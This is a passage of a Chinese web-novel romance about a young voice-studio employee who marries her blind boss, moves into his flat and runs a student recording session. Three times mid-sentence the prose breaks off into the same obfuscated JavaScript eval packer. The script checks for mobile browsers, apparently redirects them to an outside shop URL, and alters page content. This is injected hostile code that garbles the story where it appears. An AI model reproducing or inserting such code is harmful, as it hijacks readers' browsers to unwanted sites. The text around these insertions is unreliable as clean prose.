灯还亮着,但她知道没人了,活动活动筋骨,正打算收拾东西锁门,身后冷不丁一个声音沉沉传来。 “要不要,一起走?” 她惊得回过头去,半敞的木门里,池晚桑还坐在自己工位上,不知道在听什么,头发边缘氤氲出一圈光晕,头也没回地问她。 半晌补了句:“反正顺路。” 秦叠笑着回复道:“不用了,我待会还要去奶茶店打工,不过放心,我已经和老板说了,这个月结束我就不干了。” “在哪家奶茶店?”池晚桑抬起头,黄昏的日光在这精心雕琢的脸上落下深浅不一的阴影。 “就小广场入口那家,挺近的。” 池晚桑点了点头,没再问,只是坐在那里,秦叠小心翼翼说了声再见便溜之大吉。 黄昏时分,广场上人流量不错,奶茶店的生意也是较好的阶段,秦叠带上绿色围裙,不理解但表示尊重地扣上店员统一绿色鸭舌帽,感受到柜台前来人,便头也不抬地招呼: “您好,需要些什么?” “两杯奶绿。” 秦叠猛地抬头。 这声音…… 池晚桑怎么会在这儿? 池晚桑似乎察觉到她的异常,笑了笑,“一杯给你,一杯我喝,我来接你下班。” 没想到扯了证后,池老板的攻势这么猛,秦叠闷闷“嗯”了一声,转身去准备。 她将池晚桑扶在店里为数不多的座位上坐下,专门挑了个隐蔽的角落,免得他太引人注目。 “你就坐这儿吧,还有半小时。” 秦叠不时招呼客人,目光忍不住朝他那边望去,男人一身黑色,椅子过矮,双手不自然放在膝上,像是蜷缩在角落,显得有些憋屈,却神情专注地玩手机,和旁边的绿植一般沉默而令人舒心。 她没发现自己疲惫的情绪正在缓缓纾解,心里像是住进一只小猫,柔弱可爱,轻轻地挠她痒痒。 终于熬到换班,秦叠迫不及待快步朝他走过去,快到时又双手背在身后,稳了稳心绪,放慢几步。 走到岫白面前揉了揉它的大黑头,温声道: “走吧。” 这点小动静,在池晚桑耳里根本无处可逃,他不戳破地笑了笑,将桌上的奶茶递给秦叠。 池晚桑问:“你租房子住吗?” “啊?”秦叠一时没反应过来,“嗯。” “我家里有两间卧室,你如果不介意,可以不用花租房子的钱,毕竟,我占了你这么大的便宜。” 池晚桑脸上并没有太大情绪,倒是岫白此时仿佛是听懂了在期待着什么,朝秦叠吐舌头,一个劲儿摇尾巴。 “不不不。”秦叠连忙挥手,忽然发现有点歧义,又忙道:“没有占便宜,互相帮忙,互相帮忙。房子的事,池老板不介意的话,那真是太好了。” 池晚桑脑子里想起黎叔千叮咛万嘱咐,要对女孩子好点,千万不要显得太冷漠,这年头离婚率高,他不能仗着自己的脸就胡来。笑了笑,道:“走吧,先去超市买些必需品。” “池老板,有个事能不能商量一下。”秦叠有些为难地开口。 “什么事?”池晚桑眉头扬了扬。 “能不能先别把我们的事情告诉工作室的人,我不想让大家以为我是靠这个上位的……” 其实她也不确定能和池晚桑走到哪步,这段关系像是手里的泉水,难以握住,不如还是先瞒下来,毕竟她只是用这个应付爸妈那边。 “我没有别的意思。” “好。” 池晚桑只是说,干脆利落,嘴角还有淡淡笑意。 池晚桑腿长,又毫不顾忌,走得很快,秦叠甚至怀疑他真的在装瞎,又在他一次次询问方向的时候,心软下来。 等红绿灯时,旁边有人注意到他们,好奇地问:“这是导盲犬吗?” 池晚桑礼貌地点点头,应了声是。 那人听后唏嘘一声:“花了多少钱啊?有钱人才能用上吧,这么高级的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518971|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狗。” 他又上下打量池晚桑的穿着和岫白,赤.裸.裸,毫不顾忌的冒犯眼神。 还好他看不见,秦叠心里白了那人一眼。 想必他被问这种问题很久了,顿了下,并没有太惊讶,仍旧温言细语,“导盲犬免费申请。” “那,你为什么……”那人还在穷追不舍,语气里不像是有恶意,只是单纯的无知和好奇,却让听的人感到一些不快。 秦叠忙打断他,语气里也没几分客气,“您别问了,不是有钱就能有的,没谁想要这个特权,因为刚好罢了。” 刚好排上队,刚好看不见,刚好在不幸中获得一丝幸运。 那人讪笑两声,想解释什么,前方绿灯亮,秦叠不再理睬,挽过池晚桑的胳膊,“绿灯了,走,岫白。” 走了几步,池晚桑温言道:“别介意,大家不了解,这种问题多的是。” 竟还在宽慰她,秦叠只好作罢。 房间还是她上次来的模样,为了生活便利,屋内的设施一般不会有较大改动,秦叠拿出刚才买的拖鞋和洗漱用品归置,又熟练地将买的外卖放在餐桌上让池晚桑过来吃饭。 这一系列自来熟的流程下来,她忽然意识到自己有些太过了,脸忽然涨的通红去偷瞥池晚桑,他笑着应了声,并没有介意,秦叠便识趣地悄悄收敛。 “这外卖,没有你做的饭好吃。”秦叠夹起一大块肉,今天满负荷劳作,着实有些饿了。 “你也就吃过我做的酸汤鱼吧,下回想吃了,我再做。” 秦叠笑着应了声好,心想她吃过池晚桑做的饭可不少。 “喜欢观星吗?我有个天文望远镜。”饭后,池晚桑想起小广场上那晚女生的对话,问道。 “真的吗?”秦叠有些惊讶,欣喜之情溢于言表,可见到池晚桑从尘封的箱子里拿出望远镜,上面堆积了一层黄色的灰尘后,忽然噤声了。 她连忙上去帮忙,“没想到你还喜欢观星……” 池晚桑不介意地笑了笑,“眼睛还看得见的时候,喜欢过头顶的星空。” 小时候池家也有个望远镜,但是池晚桑从来不让她单独玩,只能他调好了后,亲自盯着秦叠,生怕她乱摸乱动最后毁于一旦似的。 那个望远镜也在箱子的最下面,同样积攒了一层灰。秦叠记得这是马拉松长跑的奖品,她当时千叮咛万嘱咐池晚桑一定要跑出亚军来,不求冠军,只求望远镜,没想到这家伙竟然还拿到了。 只不过她并不能随意玩罢了。 但她不知道的是池晚桑当时是冠军的水平,拿第一名绰绰有余,却因为她非常想玩望远镜,在最后一圈的时候,故意放慢脚步。 由此,落下了一名。 “是啊,以前的星空真的很漂亮。”秦叠感叹道。 现在城市夜如白昼,万家灯火通明,街道灯红酒绿,头顶上的夜空也不再是当初只需稍稍抬头,就能在山野间看见的银白星河。带着星子闪烁的白练,蜿蜒曲折穿过天际。 “今晚,也不早了,要不,留下来吧。” 池晚桑声音温和,面朝窗外感受晚风拂面,耳根有些微微发红,忽然轻声问道。 21. episode21 “床铺是新的,没人用过。” 秦叠一时有些怔愣,可证都领了,再矜持就显得做作,于是假装爽快,心里翻江倒海地应了下来。 “好,多谢池老板收留了,以后打扰啦。” 她双手合十,调皮地向池晚桑鞠了一躬。 池晚桑本人温文尔雅,行动神出鬼没,特别在自己熟悉的地方,连脚步声都懒得分出去半分,全部吞噬在自己那片黑暗里。 于是秦叠关上门后,似是害怕打扰她,再没有听见门外任何声响,活像凭空消失了。虽说睡觉不能太吵,可这安静得落针可闻也着实令人毛骨悚然,秦叠在梦里反反复复,终于熬到了天亮。 晨鸡都没她起得早,一骨碌翻身下床,起来看池晚桑是不是还在喘气,以及为了展示自己是照顾人的一把好手,准备着手一顿早饭。 冰箱里有吐司,鸡蛋,午餐肉,如此简单的堆砌版三明治,绝对是用来忽悠人的一件利器。当然,还有个原因是其他的菜,秦叠也不会做。 冷锅下油,锅中有水,秦叠凑近了正打算看冒烟没有,被猝不及防一声霹雳给吓得五官合拢,然后是一顿噼里啪啦的放炮,连带着溅起的滚油落在她所有裸露的皮肤上。 好家伙,秦叠方被逼得连连后退,来不及睁眼看清敌方形势,背后便撞上一个人,硬挺挺的。 “在做早饭?” 池晚桑挑眉,鼻尖忽然溅上一地油,被吓得抽了抽眼角,但丝毫不影响他眼里的平静。 “锅里有水,你到我后面来。” “没事,我来吧,水蒸发完了就行……”秦叠还想挣扎下,却被一只手不容置疑地给揽到了身后,还好她没有乱动厨房的布局,池晚桑还算自如,将秦叠手里的铲子接了过去,便站在锅前。 “给我鸡蛋。” 秦叠只差嗻一声,谦卑地弯腰,双手奉上。 “吐司。” “在这儿在这儿。”秦叠饿得不行,递给池晚桑,顺手拣了片切好的午餐肉扔进嘴里。 “午餐肉。” “嗯。”她嘴里含满犯罪证据,不好出声,将切好的片一片一片递给池晚桑。还算,配合默契吧。 …… “本来是想给你做顿早饭的,还添麻烦了,抱歉。” 秦叠看着桌对面还穿着浅棕色睡衣的池晚桑,短发在额角处突兀地翘起,眼角还带着几分疲态,没来得及整理的衣领松散凌乱地堆起在锁骨边,露出棱角。 显然是刚开门就被秦叠的战况给吸引到厨房来,还未见得收拾妥帖。不过这一身慵懒洒脱的模样,倒更符合少年时的池晚桑。 “没事,谁做都一样。”池晚桑挑起盘里的三明治,动作慢条斯理,精细得像是在解剖一件艺术品。 可话还没说完,秦叠又抢先一步将空余的碗筷送到洗水池,骨子里仅剩的教养告诉她,不能又蹭吃又蹭住。 猝不及防。 “嘶啦——”一声,警钟长鸣,夏天加热到高温的锅哪有那么容易冷却,秦叠抢着做事没考虑周到,手心愣是在锅边摸了个满怀。 她怒目圆睁,将锅又重重放下来,撞在灶台上发出沉闷的声响,左手捏着右手手腕,像是要遏制毒发一样,僵硬地颤抖着,愣是把溢在喉间的悲鸣给生生咽了回去。 “没事吧?” 池晚桑猛地站起,紧蹙的眉头有些慌乱地“望”向秦叠这方。 “锅太烫了,本来想提醒你的。你动作太快了……” 秦叠:“……” 她想离婚了。 于是秦叠带着包成粽子的手,还有脸上淡淡油渍印迹,颇为狼狈地出现在工作室。 苏木看见她这幅样子,眯着眼睛观察半晌,最终得出结论: “你,这是去抗日了?” 在门口的人堆里随便抓一个人都不会在做饭这件事上,把自己搞成秦叠这样子,于是在紧接着进门的池晚桑面前,她镇定自若地胡说八道: “刚才走路没看路,摔在仙人掌上了。” 虽然也略显智障,不过比真实原因聪明多了。 苏木扯扯嘴角,表示敬佩,随口道:“你俩一前一后默契的样子,还以为住一起呢。” 秦叠僵着脖子没说话,转头看池晚桑仍旧一副风轻云淡的模样,果然好演技! 林桐此时一手抓着面包啃,一手拿着手机,眼里忽然放光,“天哪,薛简言转发了我们的微博,说有机会合作,一下子粉丝数上三位了,不亏是流量明星。” “薛简言?”池晚桑有些惊喜地问,察觉有些不对劲。 当然不对劲,还是之前被秦叠删掉的照片招来的横祸,里面有池老板和薛简言专辑的合影,聆镜的名声响了,这位薛简言便闻着味道来了。 “那秦叠可得认真对待,要是能和这种人合作,聆镜的名气会瞬间上几层楼。”苏木似也悄悄瞥了眼池晚桑,叮嘱道。 “保证完成任务!”秦叠将缠满绷带的手举在太阳穴,挺挺脊梁,像个木乃伊一般僵硬地敬礼。 沈桉羽翘着二郎腿在沙发上喝咖啡,顿时也来了兴趣,附和道:“小秦简直是工作室福星啊,你过来,我之前看你配音有点问题,姐教你两个技巧。” 秦叠屁颠颠跟过去,听说有干货,谁能错过。站在沙发边跟着沈桉羽所谓的技巧,练习“闻花式吸气法”和“吐灰式吐气法”,来来回回几个深呼吸,眼冒金星,差点没厥过去。 沈桉羽又提议道:“配音重要的是对声音和气息的掌控,所以肺活量也挺重要,我们来看看谁憋气最久。” 一群凑热闹的人围过来,竟都兴致冲冲加入了这个无聊的游戏,秦叠一口气没缓过来,憋得一个红猪肝,又加入他们的下一场比赛。 几个人围成一圈,大眼瞪小眼,一个比一个像煮熟了的红烧鱼,只看见池晚桑轻飘飘地从旁边略过。 秦叠瞅了瞅他的方向,偏头,意为:池老板平时不用练习吗? 苏木闭着眼睛点点头,又夸张地拉下脸模仿池晚桑,翻个白眼,嘚瑟地摇头,意为:池老板从来不在乎这些所谓的技巧,天生的金贵嗓子,求不来。 其余人郑重地点点头。 ??? 秦叠:??? 懂得少,就做得多,秦叠仍旧是最后一个下班的,锁门的时候冷不防,撞见池晚桑不知从哪里冒出来,在门口风中挺立。 “一起走吧。” 秦叠一手锁门,边说:“今天不是叫了搬家公司嘛,我先回去整理整理。” 才在微信里沟通过,这家伙不应该忘得这么快啊。 “跟你一起去。”池晚桑轻甩手腕,手里瞬间多出一根黑色笔直的盲杖,说着就要往外走。 她住的这边虽然和池晚桑的小区只有一条街道之隔,但已可谓是天人之隔了,一边是繁花似锦热闹都市,一边是破败邋遢老鼠下水道。若不是池晚桑看不见,秦叠是万分不想带着他来的。 “小心碰头。”“左边有个铁箱子,往右边点。”“前面有个飞蛾的尸体,小心别踩着了。”“走慢点,嘶——疼吗?” 一路上担惊受怕的不只一人,好歹是经历九九八十一难终于到了。 上次闹了一场洪灾之后,夏季又潮湿,房间里的潮气久久不散,在墙角边缘爬上一片青绿色带着黑的微生物。 秦叠吞了吞口水,拉开门道:“请进。” 一股霉菌在热带雨林肆意生长的潮湿气味。 “东西不多,一会儿就能收拾完,你坐这儿稍等一会儿。”秦叠给池晚桑倒了杯水,转身投入战斗。 池晚桑本以为只是说着玩,没想到,不到一杯茶的功夫,“嘭”的一声,像是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556179|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软绵绵的东西丢在他面前,随之而来的是秦叠是一阵长叹:“走吧,收拾好了。” 池晚桑扬扬眉,“这么快?” 秦叠笑笑,半开玩笑道:“身外之物,能少即少,与其之后丢弃,不如一开始就远离。” 秦叠这人,给池晚桑的感觉总是懒懒的,懒得焦急,懒得做饭,懒得休息,似乎有一天她会懒得活下去。顿了顿,他问:“我手边这株植物还要吗?” “要,这是株含羞草,通人性的,你摸它,会躲起来的。”说着秦叠秉持恶趣味将整株草摸了个遍。 人都不一定有它这般,有来有往。 “你刚才放我旁边一叠纸要带走吗?”池晚桑说着,摸索着拿起那叠皱皱巴巴又被岁月碾平得发黄的作业纸。 秦叠心惊一瞬,这可不是他能看的,转念一想,他也看不见,咳嗽两声拿过来,“这,是以前写的作业,觉得有趣,就收起来了。” 池晚桑笑笑,并没发现异常,“那你还挺念旧。” 秦叠抻平嘴角,心道:彼此彼此。 两人并排坐在小凳子上,乖乖地等搬家公司的人,一言不发,顺便房东也会来检查交房情况。 说曹操曹操到,一个五十来岁的女人,穿着大红色睡衣,趿拉着拖鞋忙忙叨叨赶来,满脸笑容在看见秦叠的时候似乎僵硬了瞬。 “你,是天天拿着望远镜蹲点的小姑娘吧?对面小区住了什么明星吗?我早想和你说了,这样偷窥别人可不好。” 秦叠瞬间心如死灰,身冰似铁。 “望远镜?”池晚桑明知故问,不就是第一次见她时随手送出的去的周边嘛。 “哈哈哈哈,”秦叠双手摇成电扇,“没有没有,我在看旁边的山。” “大晚上,看什么……”房东还要碎碎念,秦叠顿时高声喝住:“阿姨,你看这个房子动不动就漏水,虽然租金低,但也不便宜了,这个月我也没住满,能不能少点。” 房东阿姨愣神,张口准备发挥之前舌战租客的技能,又被秦叠偷摸拉到一边,小姑娘力气不小,没防备一个趔趄后退。 秦叠小声在她耳边嘀咕:“那是我家人,看不见了,怪可怜的。您看我们这么惨,能不能心软一回?” 房东转头,秦叠本就不胖,肤色白皙,刚费力收拾半天,脸上微露疲惫,额间浸满薄薄水雾,水盈盈的眸子可怜巴巴地望着她。 于是房东阿姨,闭眼割肉,长叹一口气,同意了。 搬家公司的五六人嘿吃嘿吃上楼,准备大干一场,看见房间内被收拾得妥帖的两大包行李,瞬间懵在原地。 秦叠笑嘻嘻说:“麻烦各位了,没想到这么多人……要不两位扛一件吧,行李确实不多。” 一个黑胡子大汉在房间内巡视一圈,问:“这个书桌要不?灶台呢?剩下几个兄弟,别说这床都能一起抬出去。” 空手走之前,还有种贼不走空的倔强,“要不还是帮你把空调卸了吧?” 房东听后大惊,连拉带推将一行人送了出去,那人最后只得小心翼翼从秦叠手里捧着一颗弱小的含羞草走了。 “怎么叫这么多人?”几人走后,秦叠将池晚桑扶起,讪讪地问。 “我以为小姑娘都有很多杂七杂八的东西……” 说完,他挑了挑眉,“刚才是利用我博了房东同情?” 秦叠以为他反感,立马扯清关系,“没有没有,我就讲价嘛……” “少了多少钱?” “啊?” 池晚桑不想坐车,秦叠陪着他慢慢往外走,几名搬家公司的人反正也有报酬,巴不得偷了半日闲,坐在车上吹着空调让他们慢慢走。 只剩下后面拿着合同的房东凌乱,看着这搬家公司的标志,还有这阵仗,少不得又是三个月的租金吧…… 她是不是被骗了? 22. episode22 秦叠本就为人谨慎,池晚桑也是能简则简的性子,两人要凑合在一起并不难。但凡是涉及两个及以上人的关系,只要有人愿意退让,给榫卯时间磨合,日子很快就能过下去。 于是秦叠将自己东西全放在房间内,尽量不打乱池晚桑家里神秘的布局,早晚两人总是错着时间出没在客厅,只能说再找不到比这两人更和睦的合租对象了。 可万事没有绝对的平静,物质是运动的物质。秦叠的报应在工作室方面来了。 有选角导演看到池晚桑惊鸿一瞥的照片,立马敲桌子说要找到他合作,于是在微博上连发数条私信以表诚意。 秦叠有些无措地看向林桐。 林桐眉心微蹙,轻轻摇了摇头。 沈桉羽咬唇表示此战必败,伸手捂住眼睛不敢再看她,生怕血溅当场,又溅她一身。 陈藻冷笑两声,说:“不可能。” 苏木看热闹不嫌事大,首先表明事在人为,挑眉示意秦叠去问问池晚桑的看法。 于是她在众人悲戚目光的注视下,有种壮士断腕的悲凉,风萧萧兮易水寒,秦荆轲一去兮不复还。 “咚咚咚。” “进来。”池晚桑闭着眼睛听手机中的台词,这是他唯一的办法。 通过反复记忆,将台词烂熟于胸,才能在配音间保证效率和质量的情况下,将工作顺利推进。 秦叠抱着手中的手机,回头看了眼“同袍”们,心一横,将门关上。 “池老板,我这儿有个邀约,您看一下。” 两人虽然住在一起,是法律上的夫妻,但是似乎除了在法律上有些震慑作用,别的地方丝毫没有改变。倒是符合了两人的初衷。 “薛简言要的小样我录好了,待会儿发给他。”池晚桑没有动,目光“放在”眼前的桌面,半晌,抬头。 “好的好的。我这儿又收到一个导演的邀约,想请你去演戏,你看……” “不去。”拒绝得干脆果断,不过他好像发现了什么破绽,那双冰冷的眸子,转过来,琥珀色瞳孔在霜雪般的神情下,显得凝固了。 “不过,他怎么知道我的长相?” 秦叠连忙认错,只要够快,够怂,自诩君子的池晚桑就不能把她怎么样,“我,我之前想着宣传工作室便发了几张您的照片……” 声音越来越小,底气越来越漏,然后她猛地举起右手发誓,“不过,后来林桐姐让我删了,我立马,毫不犹豫删掉,没想到……没想到,这个导演整天守在网上,被看到了。” 实际情况是她已经挂了几天了,不过秦叠认为这么具体的细节池晚桑不会想知道。 那边没说话,像是在思考什么,半晌,幽幽传来一句,“知道了,没事,你出去吧。” 就这么结束了?秦叠已经卑微到,这种程度也能受宠若惊,于是没有眼色地又问了句: “为什么不想露面呢?池老板长得很好看,这样也可以从另一个方面给聆镜宣传。” 毕竟只要有点颜色的配音演员都露出真面目,又是线下签售,又是参加综艺,从视觉和听觉角度将受众控制得严严的。 窗户隙开一条缝,漏进两点柔风,将他额前的碎发分开两分,没了遮掩的眸子在光下更显无奈,或者说无助。 “抱歉,我不想被讨论我的眼睛……” 站在聚光灯下,这是必须过去的难题。从池晚桑之前种种表现看,似乎他对视力的介意程度已经为零,秦叠才有这种大胆的想法。 可现在看着眼前的男孩好像还是从前敏感,自卑的模样,心下有些不忍,又想给自己一巴掌。 “没有没有,是我冒昧了,我马上拒绝他。” 秦叠刚出门,就感受到背后炙热的目光,她僵硬地转过身去,深怕这群饿狼扑上来,生吞了自己。 “怎么样?是不是特别难受?”沈桉羽不嫌事大地问。 陈藻不紧不慢地看着手里的剧本,语气淡淡的,“他就是这样,触及到底线,会毫不顾忌地将伤疤揭开给你开,让你觉得自己不是人。” 林桐叹了口气,在秦叠背上拍了拍,“你需要了解老板的逆鳞在哪里,我们虽然也希望工作室越来越好,但有些东西不能变。” 本来看池晚桑这段时间对秦叠的包容,大家以为会事半功倍,没想到瞬间打回原形,觉得无趣,转身投入自己的工作任务里。 苏木这才突兀地开口,一手扶着下巴,“不对,还是不对。” “总觉得池晚桑对这位小朋友不只包容了一点。” 陈藻啧了一声,“废话,当时可没有手把手教我这么多东西,把我引进来,就不管我了。” 沈桉羽笑了声:“废话,你多皮糙肉厚,能比吗?” 话题的中心围绕秦叠,却将她排斥在交流圈的外围。工作这段时间来,虽然周围的人都挺友善,秦叠却总感觉自己像个局外人,在圆圈外面苦苦找不到融入的入口。 虽然她已经很努力,起早贪黑,却没什么用。 沈桉羽眼珠一转,忽然想到什么,“诶,那这次的山芋给小秦吧,每年来一回,吵一天,事后还要被池老板批评不够用心,小秦,能不能干?” 新人是没有拒绝权的,秦叠木然看向她,“什么能……能?” 沈桉羽说的烫手的山芋是聆镜和隔壁大学音乐学院的合作项目,录制每年的毕业歌曲。但烫就烫在这个学院分西洋乐和民族乐,而这两块的同学又有一点水火不相容,每回来都是齐天大圣大闹天宫。 试想,一口气来两个乐队的齐天大圣,耳根子能不能清净? 没得到大家的认可前,所有抛给秦叠的东西,就算是一坨屎,她也得接着。 因为人数着实太多,录制挑了个周末,整个工作室放假的时候,给秦叠随意差遣。她也有些拿不准主意,决定先礼后兵,首先靠奶茶店关系准备了人手一杯的奶茶,这可是个硬仗。 正焦急地思考开场词,门铃一响,秦叠转过头去,玻璃门外面黑压压一片学生面孔,各个身上背着大小形状不一的乐器,蔚为壮观。 就是,脸色不太好。 这群人中间有很明显的一条银河般的分界线,线的左边是着正装,黑白配色,十分商务的西洋乐队,而右边的人以绿色为基底,轻纱薄绸,款款君子,民族乐无疑了。 秦叠笑出十八颗牙齿,盈盈上前开门,“同学们好,桌上给大家准备了奶茶,快进来,休息一下,我们就开始。” 她可是个刚毕业的人,转眼间在这群小孩子面前,瞬间苍老了许多。女孩们回她以礼貌性笑容,男孩则看见奶茶眼睛发光, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13567187|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一瞬间如潮水般涌了进去。 没想到这么大阵仗,秦叠招呼大家随意,又上楼收拾配音间,再出来,外面已经是天翻地覆。 一个穿的人模人样正装男生阴阳怪气道:“每年都要和你们一起录,人太多了,配音室根本站不下,依我看,只有西洋乐队的就行了。” 对面的民族乐女生不服气站起来,“留一个也不会留你们乐队,我们这是老祖宗传下来的,崇洋媚外!” “呵,崇洋媚外,那我们系招的新生越来越多,你们系毕业的人越来越少?” “你狗拿耗子多管闲事!” “你孔雀开屏自作多情!” 秦叠扶额,这吵得还怪有些文化,正长叹一口气,真切感受到沈桉羽说得烫手的山芋是怎么回事了。 隔壁大学作为长期合作的对象,这个关系不能僵,别看这群孩子现在打得热闹,要是外人插足进去,没准会被群起而攻之。大学生又脆皮,打也打不得,骂也骂不得,最后的成品还得各位祖宗赏脸认真表演。 秦叠这会儿只能说里外不是人。 手指无序地在手机屏幕上乱划,脑子里一团糟,不小心点进去myeyes,好巧不巧“老瞎子”竟然点名向她求助,可此时的秦叠分身乏术,爱莫能助,心里默念几声抱歉后,悄悄关掉了APP。 忽然她在门口看见池晚桑的身影,脑海中第一个想的是,要是他在这群不明就里的群众推搡中出了什么事,才是大问题。 秦叠连忙分花拂柳般穿过唾沫横飞的人群,她像一个和平使者,没人在意,就这么丢盔弃甲在战场上走了个来回。 “你怎么来了?”情急之下,她拉着池晚桑的手往另一边走,避免被误伤。 感受到手腕上的温度,池晚桑顿了顿,跟着她的牵引走到旁边的餐桌,温声道:“沈桉羽说今天的事情留给你做了,我怕你应付不过来,过来看看。” 旁边无休止的争吵中,忽然有人喊了声池老板,争吵声竟然奇迹般地停下来了。 一个带头的男孩走到他们这边,看了眼两人还没分开的手,不怀好意地笑了,“池老板,没想到今天你会过来啊,好久不见。” 秦叠余光扫到那边的人群,女孩占大多数的乐队,看见池晚桑后都忘记了手头的事,投过来的目光里竟然有些羞涩。 这,果然脸长得好,做什么都会简单点吗…… 池晚桑笑着回道:“这是工作室新招的员工,怕她搞不定你们,过来看看。你们桉羽姐都怕了你们了,可别给我员工造成心理阴影啊。” “那哪儿能啊,我们听话的很,相亲相爱一个院的。”说罢男生又悄悄打量了两眼秦叠。 她这才反应过来哪儿不对劲,连忙把牵着池晚桑的手松开。 池晚桑平日里需要用特制的盲文写作工具,记的东西也是在本子上点戳成字,时间长了,右手手腕和小拇指的关节处形成了薄薄一层茧子。 平日里都是池晚桑扶着秦叠手臂走,今天第一回牵他的手,竟没有想象中的冰凉。 霜雪般纤长的手指,看似坚硬而指节分明,握在手里确却是温暖的,柔软的,带着一层薄茧,令人心安。 可能是室内人多,空调作用不大,池晚桑向来冷白的平静的脸上,从耳根处蔓延出一丝柔粉色。 23. episode23 池晚桑来镇住场子后,录制还算顺利,大家都给他面子,要么看颜值,要么看眼睛的份上,最差看在好歹算个工作室老板,或多或少不想再添乱。 但他其实也没做太多事,就坐在旁边沙发,听着手机里的录音。秦叠张罗着学生们往二楼分批次录音,笑容满面,有那么一瞬间,她都觉得自己像是个江湖术士,专骗小孩子钱那种。 好不容易录制大半,休息片刻,秦叠送走这群祖宗,取来一瓶冰水坐在池晚桑旁边。 因为太累,没在意细节,就大剌剌瘫在沙发上,池晚桑只感觉旁边软沙发忽地一沉,随即耳畔传来秦叠若有似无一声叹息。 “这种时候,如果你硬气点,大点声招呼他们,学生不会那么难管。”池晚桑摘下一侧耳机,头转过来,语气仍是柔柔的,不像是在教她训斥学生,更像是拿着一根雪白羽毛,轻轻逗弄小猫,暖暖的。 秦叠此时已经快虚脱,她哪是不会硬气,她是不敢。作为工作室新人,一来就狐假虎威,还当着老板的面,总归不太好。 “唉,算了,这样也挺好。我爸妈之前老爱吵架,听烦了。” 两口子那时候常为秦东柏的事情吵架,一点鸡毛蒜皮的事也能发酵成八十年陈酿,将她养成这种争不得,抢不得的样子,也算物极必反了。 秦叠笑笑,想来也有趣,秦时和惠熙两个要强的性子,却养出她这种女儿,一言不合就躲起来。 此时,楼上传来小姑娘的喊声,“姐,能不能帮我们念几句旁白啊,我们普通话都不好。” 说话的这个姑娘一听就是南方人,边音鼻音不分,前后韵脚根本没有,秦叠听笑了,将水放在面前的桌上,答应着就要起身,却忽然被拉住衣袖。 力道不小,差点一头往后栽倒在池晚桑身上。 她有些疑惑地回头看池晚桑,“怎么了?” 池晚桑只是淡淡地说:“今天你穿的这件衣裳噪音太大,录出来效果不太好。” 秦叠动了动胳膊,窸窸窣窣,果然。 衣服面料偏硬,之前人声太嘈杂,她没注意到这点,“没事,我待会儿尽量不动……” 话还没说完,池晚桑指了指她后面,说:“那边衣柜里我有件卫衣,可以先穿一下。”而他的眼睛却似乎一直在观察她的表情,褐色瞳孔不起一丝波澜。 于是,秦叠穿着池晚桑略显宽大的灰色卫衣,将袖子拢到胳膊肘,抿了抿嘴,上楼去。 这件衣裳面料不厚,一般在夏秋之交贴身穿,虽然知道池晚桑不会放件脏衣服在工作室。闻到上面淡淡木调香的时候,秦叠不免愣神片刻。 “别扣腿上的伤。”秦叠正想神不知鬼拒绝路过池晚桑,忽然听到身后冷不防传来一句。池晚桑给的药膏确实管用,但长年累月的习惯也不是这么容易改的。 秦叠回复道:“好。” 话音未落,没想到这人就跟了上来,秦叠退后两步,结巴道:“池,池老板也要上去?” “嗯,看看你这几天的训练有效果没。” 几个女生一眼就看出秦叠身上不合身的衣裳有古怪,眼神带着打探和疑惑在两人之间逡巡片刻,将剧本递给秦叠,眼睛却瞬也不瞬看着池晚桑: “姐,我们想做一个飞机上机长广播的声音,我们觉得女机长更飒,想让您来试试。”她将头偏过来,继续道,“机长广播之后西洋乐队出场,然后轮到我们。” 拿过台词稿,秦叠看了眼台词,不算多,走进录音室,再抬头透过面前的一大扇玻璃,池晚桑正在录音师旁边坐得随意,右手四根手指悠闲地轮换敲打桌面,有节奏地,泰然自若地。 虽然不排除看热闹的可恨,但并不轻浮。 秦叠咽了咽口水,开口却是一个哑音…… 像是被福尔马林浸泡过的嗓子,沙哑里电流音和毒害白雪公主的巫婆都有的一拼。她一惊,连忙咳嗽两声,尴尬地解释:“紧张了,不好意思。” 配了两场下来,声音不是太硬就是太柔,按理来说她的水平不止如此,大概是被池晚桑的“检查”给吓着了,正要准备第三次,配音室门忽然开了。 池晚桑转身关上门,熟练地走到她身边,拿起旁边空着的一副耳机,调整话筒位置,在秦叠一脸“你进来干什么”的质问下,轻描淡写地转头轻声说道:“声音里缺点果断和自信,听我录一遍。” 于是他朝外面的录音师做了个OK的手势,双睫垂下,瞬间进入状态,仔细聆听耳机中的情节。 海风吹得缓,海水拍打在礁石上,忽然溅开雪白一层水雾,远处海鸥的声音时远时近,各种轻声交响,仿佛能闻见阳光的味道。 “还未及时登机的旅客请注意,您所乘坐的DX2024航班即将起飞。” 